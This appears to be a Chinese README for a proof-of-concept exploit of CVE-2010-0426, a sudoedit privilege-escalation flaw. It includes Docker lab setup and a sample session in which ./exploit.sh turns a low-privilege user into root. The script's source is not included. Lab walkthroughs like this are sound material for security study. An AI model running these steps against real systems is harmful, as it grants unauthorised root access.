Sudo（su "do"）允许系统管理员授予某些用户（或用户组）以 root 身份运行部分（或全部）命令的能力，同时记录所有命令和参数。
要为你的测试搭建一个漏洞环境，你需要安装 Docker，然后运行以下命令：
docker build -t privesc/cve-2010-0426 .
docker run --rm -it privesc/cve-2010-0426
它将生成一个交互式 shell，并带有低权限用户身份。
该漏洞存在于 sudoedit 中，它未能正确处理 'sudoedit' 命令，导致恶意用户可以用任意命令替换真正的 sudoedit 命令。
本地攻击者可以利用此问题以 'root' 用户身份运行任意命令。成功的利用可以完全控制受影响的计算设备。
要利用此目标，只需运行：
./exploit.sh
如果你正在使用此漏洞镜像，你可以运行：
user@023b47ff82ca:~$ sudo -V
Sudo version 1.7.2
user@023b47ff82ca:~$ sudo -l
User user may run the following commands on this host:
(root) NOPASSWD: sudoedit /etc/fstab
user@023b47ff82ca:~$ ./exploit.sh /etc/fstab
[+] CVE-2010-0426 exploit by t0kx
[+] Prepared sudoedit...
[+] Run sudoedit
root@023b47ff82ca:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@023b47ff82ca:/tmp#
该漏洞由 Slouching 发现。
本程序及其之前的版本仅供教育目的使用。未经许可请勿使用。适用通常的免责声明，特别是本人（t0kx）不对因直接或间接使用这些程序提供的信息或功能所造成的任何损害负责。作者或任何互联网提供商对这些程序或其衍生版本的任何内容或滥用概不负责。使用这些程序即表示你接受以下事实：因使用这些程序造成的任何损害（数据丢失、系统崩溃、系统被入侵等）均非 t0kx 的责任。